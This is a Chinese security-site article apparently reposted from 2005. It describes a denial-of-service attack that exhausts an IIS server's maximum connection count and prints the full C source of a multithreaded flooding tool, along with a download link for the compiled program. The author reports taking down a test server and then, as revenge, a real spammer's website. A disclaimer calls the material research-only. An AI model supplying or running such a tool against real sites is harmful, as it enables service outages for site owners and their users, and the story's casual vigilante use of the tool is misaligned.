| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
利用IIS最大连接数实现网站DOS
利用IIS最大连接数实现网站DOS
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-19 10:15:13
ps:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负!

最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。
这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。
具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:
#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //设置最大线程数
 
int ThreadCount=0;
 
struct mydata
{
 char *ip;
 int port;
};
 
 
unsigned int resolve(char *name)
{
 struct hostent *he;
 unsigned int ip;
 
 if((ip=inet_addr(name))==(-1))
 {
 if((he=gethostbyname(name))==0)
 return 0;
 memcpy(&ip,he->h_addr,4);
 }
 return ip;
}
 
 
DWORD WINAPI Dos(LPVOID lpParam )
{
 mydata *csdn = (mydata*)lpParam;
 struct sockaddr_in server;
 server.sin_family = AF_INET;
 server.sin_port = htons(csdn->port);
 server.sin_addr.s_addr = resolve((char*)csdn->ip);
 if(server.sin_addr.s_addr==0)
 {
 
 printf("Don't find address %s\n",(char*)csdn->ip);
 exit(0);
 }
 int my;
 char buf[100]="POST / HTTP/1.1\r\nHost: ";
 strcat(buf,(char*)csdn->ip);
 strcat(buf," \r\nContent-Length: 10\r\n\r\n");
 my=socket(PF_INET,SOCK_STREAM,0);
 if(my==INVALID_SOCKET)
 {
 printf("ERROR");
 exit(0);
 }
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
 {
 printf("Socket ERROR:%d",GetLastError());
 exit(0);
 }
 if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
 ThreadCount--;
 return 0;
}
 
void thread ( char *a1 , char *a2 , char *a3 )
{
 static mydata tmp;
 tmp.ip = a1;
 tmp.port = atoi(a2);
 
 DWORD dwThreadId;
 HANDLE hThread;
 WSADATA ws;
 if (WSAStartup( MAKEWORD(2,2), &ws )!=0)
 {
 printf(" [-] WSAStartup() error\n");
 exit(0);
 }
 
 hThread = CreateThread(
 NULL, // no security attributes
 0, // use default stack size
 Dos, // thread function
 &tmp, // argument to thread function
 0, // use default creation flags
 &dwThreadId); // returns the thread identifier
 if (hThread == NULL)
 printf( "CreateThread failed." );
 ThreadCount++;
 Sleep(200); //延时,否则CPU会用满……
 CloseHandle(hThread);
}
 
int main(int argc, char* argv[])
{
 int i=0;
 if(argc!=4)
 {
 printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n");
 printf("-Usage:\n");
 printf("%s <TargetAddress> <port> <MaxConnectionCount>\n",argv[0]);
 printf("-Example: %s www.target.com 80 300\n",argv[0]);
 return 0;
 }
 printf("Starting DOS.............Ctrl + C break\n");
 while( i < atoi(argv[3]) )
 {
 if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}
 }
 while( 1 ){ }
 WSACleanup();
 return 0;
}


(VS.net 、XP SP1调试通过。编译好的程序可以在这里找到:http://www.0x54.org/lake2/program/IISDos.exe
程序为命令行程序,共有三个参数,依次为要攻击的网站域名、端口、连接数。嗯,测试下效果先。
测试的目标是个人电脑,系统为win2000。IIS管理中把最大连接数设为200,很快网站就不能访问了;增大到500,仍然会被当;800,还是要被当(图)。测试过程中该电脑正在运行魔兽世界,而且一直正常。看来我们的程序只是对付网站,不会央及无辜的啊^_^
attachments/200507/11_091952_1.jpg

既然如此,那索性试试IIS连接数为无限的情况。程序中的连接参数我填的8000,结果运行途中我的系统没有了缓冲区间,winsock产生10055号错误,程序中止。呵呵,看来这种方法还是只能针对使用虚拟空间的中小网站。
好,偶们来实际使用一下。打开邮箱,随便找封广告垃圾邮件,访问那家伙的网站,然后开始攻击它,对付这种小站连接数就设成300就绰绰有余了。呵呵,很快那网站就不工作了(图),嘿嘿,这可怪不得我,谁叫他发垃圾邮件在前。好了,测试完毕,通过验收,就不跟他玩了。
attachments/200507/11_092012_2.jpg
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    Virtual IIS Firewall共
    CIFS:通用 Internet 文
    虚拟主机IIS防范入侵常见
    Win2000 IIS管理实用程序
    用MRTG在IIS 6.0上实现入
    Apache,IIS等多种服务器
    保护IIS的15个技巧
    IIS配置安全策略
    微软WinXP SP2:IIS5.1拒
    iis6服务器设置排错解答

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览